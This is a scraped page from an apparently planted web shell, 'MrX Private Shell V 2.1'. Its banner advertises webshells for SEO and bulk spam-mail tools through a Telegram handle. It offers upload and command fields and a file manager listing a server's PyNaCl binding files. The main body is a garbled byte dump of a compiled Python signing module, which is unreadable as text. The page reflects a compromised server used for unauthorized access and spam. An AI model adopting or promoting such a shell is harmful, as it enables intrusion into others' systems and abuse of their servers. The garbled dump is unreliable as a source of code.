__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

#�`gf(��J�%SSKJr SSKJr SSKJrJr SSKJ	r	 \R"5r\\
S'\R"5S-r\\
S'\R "5r\\
S'\R"5r\\
S	'\R&"5r\\
S
'\R*"5r\\
S'S\\\44S
jrS\S\\\44SjrS\S\S\4SjrS\S\S\4SjrS\S\4SjrS\S\4SjrS\S\4SjrS\S\4Sjr"SS5r S\ S\SS 4S!jr!S\ S\S\4S"jr"S\ S#\S\S\#4S$jr$g )%�)�Tuple)�
exceptions)�ffi�lib)�ensure�crypto_sign_BYTES��crypto_sign_SEEDBYTES�crypto_sign_PUBLICKEYBYTES�crypto_sign_SECRETKEYBYTES�crypto_sign_curve25519_BYTES� crypto_sign_ed25519ph_STATEBYTES�returnc�J�[R"S[5n[R"S[5n[R
"X5n[
US:HS[RS9 [R"U[5SS[R"U[5SS4$)zi
Returns a randomly generated public key and secret key.

:rtype: (bytes(public_key), bytes(secret_key))
�unsigned char[]r�Unexpected library error��raisingN)
r�newrrr�crypto_sign_keypairr�exc�RuntimeError�buffer)�pk�sk�rcs   �;/usr/lib/python3/dist-packages/nacl/bindings/crypto_sign.pyrr s���

���"�$>�	?�B�	���"�$>�	?�B�	�	 �	 ��	(�B�
�2��7�.��8H�8H�I�	�
�
�2�1�2�1�5��
�
�2�1�2�1�5����seedc��[U5[:wa[R"S5e[R
"S[5n[R
"S[5n[R"XU5n[US:HS[RS9 [R"U[5SS[R"U[5SS4$)z�
Computes and returns the public key and secret key using the seed ``seed``.

:param seed: bytes
:rtype: (bytes(public_key), bytes(secret_key))
zInvalid seedrrrrN)
�lenr
r�
ValueErrorrrrrr�crypto_sign_seed_keypairrrr)rrrrs    rr#r#2s����4�y�)�)��n�n�^�,�,�	���"�$>�	?�B�	���"�$>�	?�B�	�	%�	%�b�d�	3�B�
�2��7�.��8H�8H�I�	�
�
�2�1�2�1�5��
�
�2�1�2�1�5��r�messagerc�0�[R"S[U5[-5n[R"S5n[R
"X#U[U5U5n[
US:HS[RS9 [R"X#S5SS$)z�
Signs the message ``message`` using the secret key ``sk`` and returns the
signed message.

:param message: bytes
:param sk: bytes
:rtype: bytes
r�unsigned long long *rrrN)
rrr!rr�crypto_signrrrr)r$r�signed�
signed_lenrs     rr'r'Hsu���W�W�&��G��7H�(H�
I�F����/�0�J�	����W�c�'�l�B�	G�B�
�2��7�.��8H�8H�I��:�:�f��m�,�Q�/�/rr(rc��[R"S[U55n[R"S5n[R"X#U[U5U5S:wa[
R"S5e[R"X#S5SS$)z�
Verifies the signature of the signed message ``signed`` using the public
key ``pk`` and returns the unsigned message.

:param signed: bytes
:param pk: bytes
:rtype: bytes
rr&r�Signature was forged or corruptN)rrr!r�crypto_sign_openr�BadSignatureErrorr)r(rr$�message_lens    rr,r,Zsv���g�g�'��V��5�G��'�'�0�1�K�	���W�6�3�v�;��K��	
��#�#�$E�F�F��:�:�g�1�~�.�q�1�1r�public_key_bytesc�$�[U5[:wa[R"S5e[n[
R"SU5n[R"X 5n[US:HS[RS9 [
R"X!5SS$)z�
Converts a public Ed25519 key (encoded as bytes ``public_key_bytes``) to
a public Curve25519 key as bytes.

Raises a ValueError if ``public_key_bytes`` is not of length
``crypto_sign_PUBLICKEYBYTES``

:param public_key_bytes: bytes
:rtype: bytes
zInvalid curve public keyrrrrN)r!rrr"r
rrr�$crypto_sign_ed25519_pk_to_curve25519rrr)r/�curve_public_key_len�curve_public_keyrs    rr1r1o�}����� :�:��n�n�7�8�8�7���w�w�0�2F�G��	�	1�	1��
�B��2��7�.��8H�8H�I��:�:�&�=�a�@�@r�secret_key_bytesc�$�[U5[:wa[R"S5e[n[
R"SU5n[R"X 5n[US:HS[RS9 [
R"X!5SS$)z�
Converts a secret Ed25519 key (encoded as bytes ``secret_key_bytes``) to
a secret Curve25519 key as bytes.

Raises a ValueError if ``secret_key_bytes``is not of length
``crypto_sign_SECRETKEYBYTES``

:param secret_key_bytes: bytes
:rtype: bytes
zInvalid curve secret keyrrrrN)r!rrr"r
rrr�$crypto_sign_ed25519_sk_to_curve25519rrr)r5�curve_secret_key_len�curve_secret_keyrs    rr7r7�r4rc�f�[U5[:wa[R"S5eU[S$)z�
Extract the public Ed25519 key from a secret Ed25519 key (encoded
as bytes ``secret_key_bytes``).

Raises a ValueError if ``secret_key_bytes``is not of length
``crypto_sign_SECRETKEYBYTES``

:param secret_key_bytes: bytes
:rtype: bytes
�Invalid secret keyN�r!rrr"r
�r5s r�crypto_sign_ed25519_sk_to_pkr>�s2����� :�:��n�n�1�2�2��1�2�3�3rc�f�[U5[:wa[R"S5eUS[$)z�
Extract the seed from a secret Ed25519 key (encoded
as bytes ``secret_key_bytes``).

Raises a ValueError if ``secret_key_bytes``is not of length
``crypto_sign_SECRETKEYBYTES``

:param secret_key_bytes: bytes
:rtype: bytes
r;Nr<r=s r�crypto_sign_ed25519_sk_to_seedr@�s2����� :�:��n�n�1�2�2��2�2�3�3rc�(�\rSrSrSrS/rSSjrSrg)�crypto_sign_ed25519ph_state��zG
State object wrapping the sha-512 state used in ed25519ph computation
�stateNc��[R"S[5Ul[R
"UR5n[
US:HS[RS9 g)Nrrrr)	rrrrDr�crypto_sign_ed25519ph_initrrr)�selfrs  r�__init__�$crypto_sign_ed25519ph_state.__init__�sE���G�G��?�
��
��
+�
+�D�J�J�
7���r�Q�w�2�C�<L�<L�Mr)rD)rN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�	__slots__rH�__static_attributes__�rrrBrB�s����	�I�NrrB�edph�pmsgNc�.�[[U[5S[RS9 [[U[
5S[RS9 [R"URU[U55n[US:HS[RS9 g)z�
Update the hash state wrapped in edph

:param edph: the ed25519ph state being updated
:type edph: crypto_sign_ed25519ph_state
:param pmsg: the partial message
:type pmsg: bytes
:rtype: None
�/edph parameter must be a ed25519ph_state objectrz%pmsg parameter must be a bytes objectrrN)r�
isinstancerBr�	TypeError�bytesr�crypto_sign_ed25519ph_updaterDr!r)rRrSrs   rrYrY�st����4�4�5�9��
�
��
��4���/��
�
��


�	)�	)�$�*�*�d�C��I�	F�B�
�2��7�.��8H�8H�Irc�"�[[U[5S[RS9 [[U[
5S[RS9 [[
U5[:HSR[5[RS9 [R"S[5n[R"URU[RU5n[US:HS[R S9 [R""U[5SS$)	a*
Create a signature for the data hashed in edph
using the secret key sk

:param edph: the ed25519ph state for the data
             being signed
:type edph: crypto_sign_ed25519ph_state
:param sk: the ed25519 secret part of the signing key
:type sk: bytes
:return: ed25519ph signature
:rtype: bytes
rUrz+secret key parameter must be a bytes objectz secret key must be {} bytes longrrrN)rrVrBrrWrXr!r�formatrrrr�"crypto_sign_ed25519ph_final_createrD�NULLrr)rRr�	signaturers    rr\r\�s�����4�4�5�9��
�
��
��2�u��5��
�
��
��B��-�-�	+�3�3�&�	
��
�
�����)�+<�=�I�	�	/�	/��
�
�I�s�x�x��
�B��2��7�.��8H�8H�I��:�:�i�!2�3�A�6�6rr^c�X�[[U[5S[RS9 [[U[
5S[RS9 [[
U5[:HSR[5[RS9 [[U[
5S[RS9 [[
U5[:HSR[5[RS9 [R"URX5nUS:wa[R"S5eg	)
a�
Verify a prehashed signature using the public key pk

:param edph: the ed25519ph state for the data
             being verified
:type edph: crypto_sign_ed25519ph_state
:param signature: the signature being verified
:type signature: bytes
:param pk: the ed25519 public part of the signing key
:type pk: bytes
:return: True if the signature is valid
:rtype: boolean
:raises exc.BadSignatureError: if the signature is not valid
rUrz*signature parameter must be a bytes objectzsignature must be {} bytes longz+public key parameter must be a bytes objectz public key must be {} bytes longrr+T)rrVrBrrWrXr!rr[rr�"crypto_sign_ed25519ph_final_verifyrDr-)rRr^rrs    rr`r`s���"��4�4�5�9��
�
��
��9�e�$�4��
�
��
��I��+�+�	*�2�2�3D�E��
�
��
��2�u��5��
�
��
��B��-�-�	+�3�3�&�	
��
�
��

�	/�	/��
�
�I�	J�B�	�Q�w��#�#�$E�F�F�r)%�typingr�naclrr�nacl._sodiumrr�nacl.exceptionsr�crypto_sign_bytesr�int�__annotations__�crypto_sign_secretkeybytesr
�crypto_sign_publickeybytesrr�crypto_box_secretkeybytesr
� crypto_sign_ed25519ph_statebytesrrXrr#r'r,r1r7r>r@rBrYr\�boolr`rQrr�<module>rms����"�!�"��.�.�0��3�0� �;�;�=��B��s�B�"%�"@�"@�"B��C�B�"%�"@�"@�"B��C�B�$'�$A�$A�$C��c�C�(+�(L�(L�(N� �#�N��U�5�%�<�0��$�5��U�5�%�<�-@��,0��0�E�0�e�0�$2�U�2��2�%�2�*A�5�A�U�A�2A�5�A�U�A�24�5�4�U�4�"4�U�4�u�4�"N�N�"J�
%�J�-2�J�	�J�4&7�
%�&7�+0�&7�
�&7�R0�
%�0�27�0�=B�0�	�0r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 10.57 KB 0644
crypto_aead.cpython-313.pyc File 15.71 KB 0644
crypto_box.cpython-313.pyc File 12.45 KB 0644
crypto_core.cpython-313.pyc File 14.06 KB 0644
crypto_generichash.cpython-313.pyc File 10.51 KB 0644
crypto_hash.cpython-313.pyc File 2.23 KB 0644
crypto_kx.cpython-313.pyc File 6.6 KB 0644
crypto_pwhash.cpython-313.pyc File 20.76 KB 0644
crypto_scalarmult.cpython-313.pyc File 8.74 KB 0644
crypto_secretbox.cpython-313.pyc File 3.41 KB 0644
crypto_secretstream.cpython-313.pyc File 11.95 KB 0644
crypto_shorthash.cpython-313.pyc File 3.03 KB 0644
crypto_sign.cpython-313.pyc File 12.3 KB 0644
randombytes.cpython-313.pyc File 1.62 KB 0644
sodium_core.cpython-313.pyc File 921 B 0644
utils.cpython-313.pyc File 5.82 KB 0644
Filemanager